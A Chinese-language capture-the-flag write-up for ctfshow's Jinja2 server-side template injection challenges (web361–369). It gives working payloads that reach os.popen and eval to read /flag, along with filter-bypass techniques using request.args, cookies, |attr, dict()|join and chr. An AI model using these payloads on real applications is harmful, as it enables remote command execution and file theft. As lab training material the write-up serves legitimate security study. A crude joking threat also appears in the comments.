简单说一下SSTI常用的函数,原理网上的讲解很多,贴个链接就行了SSTI模板注入 - 简书 (jianshu.com)
b. 寻找具体方法函数
__dict__:静态函数、类函数、普通函数、全局变量以及一些内置的属性,父类的__dict__无法影响子类
__getattribute__():获取实例、类、函数的属性。
WEB361
第一道题,就把我自己是怎么找的完整做个分享:
注入点纯靠经验了,看到有个Hello,盲猜是GET的name参数,试试就对了
接下来是测试引擎种类,看这张图
测试出来应该是Jinja2
下一步我们需要得到object类,从而得到object的子类
1.类转移函数:
__class__//属性,获取一个对象的class对象
__base__ //属性,对象的一个基类,一般情况下是object,有时不是,这时需要使用下一个方法
__mro__ //属性,同样可以获取对象的基类,只是这时会显示出整个继承链的关系,是一个列表,object在最底层故在列表中的最后,通过__mro__[-1]可以获取到
2.找object类:
a. 利用'' [] "" ()等实例为基础进行构造
b. 利用
取类 __class__
取父类 __base__
__bases__
__mro__
3.获得所有可利用类列表
利用__subclasses__()寻找object的子类
这道题完全没有过滤,可以任选方式得到object的子类,我选择的是''.__class__.__base__.__subclasses__()
现在我们得到了一堆类,但是这些类并非都是可利用的
一般来说,可利用的类分为getshell类和文件读写类,这里我们就用getshell类做了
getshell类目前常用的函数有eval(globals里面的builtins模块),popen,system(globals里面的os模块),选择os模块吧
要得到os模块,关键是知道选择适当的类,这个类的__init__.__globals__得到的全局里面含有os模块
__globals__:记录当前文件全局变量的值,如果某个文件调用了os、sys等库,但我们只能访问该文件某个函数或者某个对象,那么我们就可以利用globals属性访问全局的变量。该属性保存的是函数全局变量的字典引用。(key-value对)
那首先我们找到所有含有os模块的类:
for item in ''.__class__.__base__.__subclasses__(): try: #忽略没有globals的类 if 'os' in item.__init__.__globals__: allList.append(item) except: pass
但是题目中的环境可能跟我们本地的python环境不同,类种类也会有所不同,所以我们要找的是它们的交集
for aclass in classes.split(','): num+=1 for target in allList: if str(target) in aclass: print(num,aclass)
我们选择一个uuid.UUID类,然后拿到os模块
''.__class__.__base__.__subclasses__()[408].__init__.__globals__['os']
接下来利用popen读出回显,payload:
{{''.__class__.__base__.__subclasses__()[408].__init__.__globals__['os'].popen('cat /flag').read()}}
还有上下文无关的payload:详见GreHack 2021 - Optimizing Server Side Template Injections payloads for jinja2 · Podalirius
姿势太多了,多见多学~
WEB362
一样的payload
{{''.__class__.__base__.__subclasses__()[408].__init__.__globals__['os'].popen('cat /flag').read()}}
WEB363
过滤了引号,利用request.args进行绕过
?name={{().__class__.__mro__[-1].__subclasses__()[408].__init__.__globals__.__builtins__[request.args.arg1](request.args.arg2)}}&arg1=eval&arg2=__import__('os').popen('cat /flag').read()
WEB364
过滤了args,换成request.cookies就行了
payload:
?name={{().__class__.__mro__[-1].__subclasses__()[408].__init__.__globals__.os.popen(request.cookies.p1).read()}} cookie:p1=cat /flag
WEB365
中括号被扬了,用__getitem__代替
?name={{().__class__.__base__.__subclasses__().__getitem__(408).__init__.__globals__.os.popen(request.cookies.p1).read()}} cookie:p1=cat /flag
WEB366
首先这个题多过滤了下划线,不能直接引用魔术方法了
那可以用|attr()拿到属性来绕过
点运算符应该是被扬了没有没有,自己没写对...
先给大家看看我麻烦的做法...
GET:?name={{()|attr(request.cookies.p1)|attr(request.cookies.p2)|attr(request.cookies.p3)()|attr(request.cookies.p4)(408)|attr(request.cookies.p5)|attr(request.cookies.p6)|attr(request.cookies.p4)(request.cookies.p7)|attr(request.cookies.p4)(request.cookies.p8)(request.cookies.p9)}} COOKIE:p1=__class__;p2=__base__;p3=__subclasses__;p4=__getitem__;p5=__init__;p6=__globals__;p7=__builtins__;p8=eval;p9=__import__('os').popen('cat /flag').read()
思路非常简单和暴力,纯靠|attr过滤器拿到eval函数然后执行命令
我一开始是这样写的:
GET:()|attr(request.cookies.p1)|attr(request.cookies.p2)|attr(request.cookies.p3)()|attr(request.cookies.p4)(408)|attr(request.cookies.p5)|attr(request.cookies.p6).os
于是直接500了...
其实问题很简单,语法问题,解析的时候会先解析过滤器的部分,于是就先解析了attr(request.cookies.p6).os,然而我们想要实现的是对()|attr(request.cookies.p1)|attr(request.cookies.p2)|attr(request.cookies.p3)()|attr(request.cookies.p4)(408)|attr(request.cookies.p5)|attr(request.cookies.p6)的结果取os的键值...(利用点运算符直接拿到键值,jinja2模板默认支持这种写法)
解决方案:加一对括号,over
payload2:
GET:?name={{(()|attr(request.cookies.p1)|attr(request.cookies.p2)|attr(request.cookies.p3)()|attr(request.cookies.p4)(408)|attr(request.cookies.p5)|attr(request.cookies.p6)).os.popen(request.cookies.p7).read()}} COOKIE:p1=__class__;p2=__base__;p3=__subclasses__;p4=__getitem__;p5=__init__;p6=__globals__;p7=cat /flag
WEB367
这道题应该是扬了os这些关键词(?),不过用我上一题的麻烦payload(纯用attr)倒是能过
payload直接照抄上题的payload1就行了
WEB368
{{}}被扬了,换成{%print(xxx)%}执行代码就行
payload:
GET:?name={% print(()|attr(request.cookies.p1)|attr(request.cookies.p2)|attr(request.cookies.p3)()|attr(request.cookies.p4)(408)|attr(request.cookies.p5)|attr(request.cookies.p6)|attr(request.cookies.p4)(request.cookies.p7)|attr(request.cookies.p4)(request.cookies.p8)(request.cookies.p9)) %} COOKIE:p1=__class__;p2=__base__;p3=__subclasses__;p4=__getitem__;p5=__init__;p6=__globals__;p7=__builtins__;p8=eval;p9=__import__('os').popen('cat /flag').read()
或者{%set aaa=xxx%}也可以
WEB369
request和引号被扬了,有几种方法可以绕过去:
1.|string过滤器
这个很好用,可以把任何显示出来的东西都变成字符串,配合上|list和pop,基本上可以拿到一大堆字符
比如:()|select,select过滤器会返回一个object标识
<generator object select_or_reject at 0x00000220704AAF20>
|string|list就可以得到字符串,接下来用pop就可以拿到字符
扩展开来,中途的任何回显都可以利用|string|list拿字符
2.chr
chr函数如果拿到了,配合数字拿到所有字符都没问题
chr函数是__builtins__模块里面自带的预加载函数,所以一般是拿到__builtins__模块就可以了
3.dict()|join
在对dict对象调用join过滤器的时候,返回的是键值连接而成的字符串,且定义的时候不需要引号
例如:dict(o=a,s=b)|join->返回os
中途可以利用{%set%}语句记录已经拿到的东西
我没有用chr函数,纯用其他两种方法硬来的...
payload:
{% set line=(()|select|string|list).pop(24) %} {% set blank=(()|select|string|list).pop(10) %} {% set cl=(line+line+dict(cla=a,ss=a)|join+line+line) %} {% set ba=(line+line+dict(ba=a,se=a)|join+line+line) %} {% set sub=(line+line+dict(subcla=a,sses=a)|join+line+line) %} {% set get=(line+line+dict(geti=a,tem=a)|join+line+line) %} {% set ini=(line+line+dict(ini=a,t=a)|join+line+line) %} {% set glo=(line+line+dict(glo=a,bals=a)|join+line+line) %} {% set bui=(line+line+dict(bui=a,ltins=a)|join+line+line) %} {% set eva=(line+line+dict(ev=a,al=a)|join+line+line) %} {% set module=(dict(o=a,s=a)|join) %} {% set sprit=(((((()|attr(cl)|attr(ba)|attr(sub))()|attr(get))(408))|attr(ini)|attr(glo)|attr(get)(module))|string|list).pop(-8) %} {% set command=(dict(cat=a)|join)+blank+sprit+(dict(flag=a)|join) %} {% print(((((()|attr(cl)|attr(ba)|attr(sub))()|attr(get))(408))|attr(ini)|attr(glo)|attr(get)(module)).popen(command).read()) %}
贴一个利用chr函数的payload:
{% set po=dict(po=a,p=a)|join%} {% set a=(()|select|string|list)|attr(po)(24)%} {% set ini=(a,a,dict(init=a)|join,a,a)|join()%} {% set glo=(a,a,dict(globals=a)|join,a,a)|join()%} {% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%} {% set built=(a,a,dict(builtins=a)|join,a,a)|join()%} {% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%} {% set chr=x.chr%} {% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%} {%print(x.open(file).read())%} ——from mumuzi
剩下几题不多说了,先往下面做了...
参考文章(感谢各位师傅~):
ctfshow SSTI web361-web372 wp_是Mumuzi的博客-CSDN博客
CTFshow刷题日记-WEB-SSTI(web361-372)_OceanSec的博客-CSDN博客
文章评论
不给你爹加友链是吧,今晚别睡太死,屁股贴着墙

@那我就让时光倒流 加了加了